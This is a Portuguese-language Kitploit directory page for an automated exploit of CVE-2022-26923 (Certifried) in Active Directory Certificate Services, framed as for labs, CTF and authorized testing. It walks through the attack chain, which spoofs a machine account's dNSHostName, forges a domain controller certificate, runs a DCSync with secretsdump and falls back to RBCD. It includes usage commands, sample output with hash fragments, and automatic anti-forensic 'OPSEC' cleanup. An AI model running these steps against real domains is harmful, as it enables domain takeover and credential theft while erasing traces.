Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-26923 — Exploração automatizada de CVE-2022-26923 (Certifried) | Kitploit
Ferramentas/GitHubGitHub/nefhara/cve-2022-26923
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoPós-ExploraçãoCTFTestes de PenetraçãoAutenticaçãoAprendizado e EducaçãoLabs e Prática
GitHubnefhara/cve-2022-26923

CVE-2022-26923

Exploração automatizada de CVE-2022-26923 (Certifried)

2há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

CVE-2022-26923 – Exploração do Certifried (Abuso de AD CS)

Exploração automatizada do CVE-2022-26923 (Certifried), permitindo escalonamento de privilégios por meio do abuso do Active Directory Certificate Services (AD CS), com fallback automático para Resource-Based Constrained Delegation (RBCD), culminando na extração do hash NTLM da conta de um administrador de domínio.

⚠️ Somente para fins educacionais / Laboratório / CTF

Não utilize em ambientes não autorizados.


🎯 Descrição

Este script automatiza a seguinte cadeia de ataque:

Método 1 — Clássico (Exploração Direta do CVE)

  1. Criar uma conta de máquina controlada (nome aleatório para evitar conflitos)
  2. Forjar o atributo dNSHostName para corresponder ao controlador de domínio
  3. Solicitar um certificado de máquina via AD CS
  4. Autenticar usando o certificado → extrair o hash NTLM do DC via PKINIT
  5. Executar um ataque DCSync com secretsdump.py usando o hash do DC

Método 2 — Fallback (RBCD) (automático se o Método 1 falhar)

  1. Converter PFX para PEM para uso com bloodyAD
  2. Configurar Resource-Based Constrained Delegation (RBCD) no DC
  3. Adicionar um SPN à conta de máquina comprometida via impacket-addspn
  4. Solicitar um ticket S4U2Self + S4U2Proxy com getST.py
  5. Extrair o hash NTLM via secretsdump.py usando o ticket Kerberos

🔗 Vulnerabilidade

  • CVE-2022-26923 – "Certifried" — CVSS 8.8 (Alto)
  • Afeta ambientes Active Directory que executam AD CS
  • Permite que um usuário de baixo privilégio se passe por um controlador de domínio manipulando o atributo dNSHostName, fazendo com que a CA emita um certificado para a conta do DC

🛠 Ferramentas Utilizadas


📦 Instalação de Dependências

root@kitploit:~
pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

🚀 Uso

root@kitploit:~
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

Opções Disponíveis

root@kitploit:~
-d, --dc-ip     IP address of the Domain Controller
-D, --domain    Domain name (e.g. corp.local)
-u, --user      Valid domain user (UPN format: user@domain)
-p, --pass      User password
--verbose       Debug mode: display all executed commands
-h, --help      Show this help message

🧠 Exemplo (HTB Certifried)

root@kitploit:~
./CVE-2022-26923.sh \
  -d 10.129.227.189 \
  -D certifried.htb \
  -u [email protected] \
  -p 'Ch4ng3m3!' \
  --verbose

Dica: Antes de executar, identifique o nome exato da CA e o modelo usando:

root@kitploit:~
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdout

Em seguida, atualize CA_NAME e TEMPLATE nos valores padrão do script de acordo.


🔥 Saída Esperada

Dependendo do ambiente, um dos dois caminhos terá sucesso:

Método 1 (Clássico):

root@kitploit:~
[5] Classic authentication attempt (Recovering DC hash)...    [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...

[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::

Método 2 (Fallback RBCD):

root@kitploit:~
[5] Classic authentication attempt (Recovering DC hash)...    [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...

[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::

A limpeza OPSEC é executada automaticamente ao final (ou ao pressionar Ctrl+C):

root@kitploit:~
[*] Starting trace cleanup (OPSEC)...
    [OK] Cleanup complete.

🏗 Fluxo de Ataque Interno

root@kitploit:~
Random Machine Account Creation (e.g. PWN8472$)
              ↓
    dNSHostName Spoofing → dc.domain.local
              ↓
  Dynamic LDAP Sync Verification (polling)
              ↓
  Certificate Request via RPC (Machine Template)
    [NETBIOS timeout auto-retry up to 5x]
              ↓
┌─────────────────────────────────────────┐
│         METHOD 1 — CLASSIC              │
│   certipy-ad auth -pfx dc.pfx           │
│   → DC NTLM hash via PKINIT             │
│   → DCSync via secretsdump              │
└────────────────┬────────────────────────┘
                 │ [FAILS]
                 ▼
┌─────────────────────────────────────────┐
│         METHOD 2 — RBCD FALLBACK        │
│   PFX → PEM conversion (openssl)        │
│   bloodyAD: add rbcd dc$ COMP$          │
│   impacket-addspn: SPN on COMP$         │
│   getST: S4U2Self + S4U2Proxy (cifs/)   │
│   secretsdump via KRB5 ticket           │
└─────────────────────────────────────────┘
              ↓
 OPSEC Cleanup (trap EXIT/INT/TERM)
   - Remove RBCD attribute on DC
   - Delete machine account (COMP$)
   - Wipe local PFX / PEM / ccache files

🔧 Problemas Conhecidos e Solução de Problemas


⚠️ Isenção de Responsabilidade

Este projeto é fornecido para:

  • Fins educacionais e de pesquisa
  • Ambientes de laboratório pessoais
  • Desafios de CTF / HackTheBox / Capture-The-Flag
  • Testes de penetração autorizados (com aprovação por escrito)

O autor não se responsabiliza por qualquer uso não autorizado ou ilegal desta ferramenta.

Baixar ferramenta
FerramentaFinalidade
certipy-adCriação/atualização de conta, solicitação de certificado, autenticação PKINIT
bloodyADManipulação de atributos RBCD (fallback)
impacket-addspnAdição de SPN na conta de máquina (fallback)
impacket-getSTSolicitação de ticket S4U2Self + S4U2Proxy (fallback)
impacket-secretsdumpDCSync / extração de hash NTLM
opensslConversão PFX → PEM (fallback)
SintomaCausaCorreção
NETBIOS connection timed outLentidão de RPC do AD CS no HTBTratado automaticamente (5 tentativas)
KDC_ERR_BADOPTION no getSTSPN ausente em COMP$O script agora usa impacket-addspn antes do getST
KDC_ERR_WRONG_REALM no secretsdumpSPN incorreto (LDAP vs cifs)O script usa o SPN cifs/ para o getST
Clock skew too greatDessincronização de relógio do Kerberossudo ntpdate <DC_IP> antes de executar
A exclusão da conta de máquina falhaDireitos AD insuficientes (normal)O script ignora o erro silenciosamente com `
unrecognized arguments com certipy-adSintaxe incorreta (formato antigo do certipy)O script usa as flags explícitas -u/-p/-target-ip